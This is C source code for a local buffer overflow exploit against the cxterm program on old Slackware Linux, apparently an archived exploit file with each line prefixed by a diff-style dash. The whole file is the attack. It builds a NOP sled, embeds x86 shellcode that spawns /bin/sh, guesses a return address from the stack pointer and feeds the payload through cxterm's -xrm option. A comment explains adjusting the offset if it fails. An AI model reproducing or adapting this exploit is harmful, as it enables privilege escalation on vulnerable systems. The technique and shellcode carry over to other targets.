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- /*
-
- cxterm buffer overflow exploit for Linux. This code is tested on
- both Slackware 3.1 and 3.2.
-
- Ming Zhang
- mzhang@softcom.net
- */
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <fcntl.h>
-
- #define CXTERM_PATH "/usr/X11R6/bin/cxterm"
- #define BUFFER_SIZE 1024
- #define DEFAULT_OFFSET 50
-
- #define NOP_SIZE 1
- char nop[] = "\x90";
- char shellcode[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
- unsigned long get_sp(void) {
- __asm__("movl %esp,%eax");
- }
-
- void main(int argc,char **argv)
- {
- char *buff = NULL;
- unsigned long *addr_ptr = NULL;
- char *ptr = NULL;
- int i,OffSet = DEFAULT_OFFSET;
-
- /* use a different offset if you find this program doesn't do the job */
- if (argc>1) OffSet = atoi(argv[1]);
-
- buff = malloc(2048);
- if(!buff)
- {
- printf("Buy more RAM!\n");
- exit(0);
- }
- ptr = buff;
-
- for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
- i+=NOP_SIZE) {
- memcpy (ptr,nop,NOP_SIZE);
- ptr+=NOP_SIZE;
- }
-
- for(i=0;i < strlen(shellcode);i++)
- *(ptr++) = shellcode[i];
-
- addr_ptr = (long *)ptr;
- for(i=0;i < (8/4);i++)
- *(addr_ptr++) = get_sp() + OffSet;
- ptr = (char *)addr_ptr;
- *ptr = 0;
- (void) fprintf(stderr,
- "This bug is discovered by Ming Zhang
- (mzhang@softcom.net)\n");
- /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
- execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
- }
-
-